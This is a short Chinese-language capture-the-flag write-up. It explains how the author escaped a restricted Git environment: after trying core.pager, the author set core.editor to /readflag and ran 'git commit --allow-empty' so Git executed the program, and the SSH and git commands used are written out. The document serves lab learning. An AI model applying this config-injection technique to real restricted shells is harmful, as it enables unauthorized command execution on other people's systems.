发现了 data-structure.git 目录,确认它是一个裸仓库

尝试了多种 Git 命令和配置,比如 core.pagercore.editor,来尝试执行 /readflag

根据提示,我们不需要关心 Git 仓库中的内容,关键是要利用 Git 的机制调用 /readflag

通过尝试不同的命令参数组合,来查找 Git 在何种情况下会调用 core.editor

最终,使用 git commit --allow-empty 命令结合 -c core.editor=/readflag 成功触发了 /readflag 程序的执行。

这个命令通过创建一个空提交的方式,迫使 Git 调用配置为 /readflagcore.editor,成功地显示了 flag。

ssh -i id_rsa -p48227 git@172.20.14.117
git --git-dir=/home/git/victor/data-structure.git/.git --work-tree=/home/git/victor/data-structure.git config user.email "you@example.com"
git --git-dir=/home/git/victor/data-structure.git/.git --work-tree=/home/git/victor/data-structure.git config user.name "Your Name"
git --git-dir=/home/git/victor/data-structure.git/.git --work-tree=/home/git/victor/data-structure.git -c core.editor=/readflag commit --allow-empty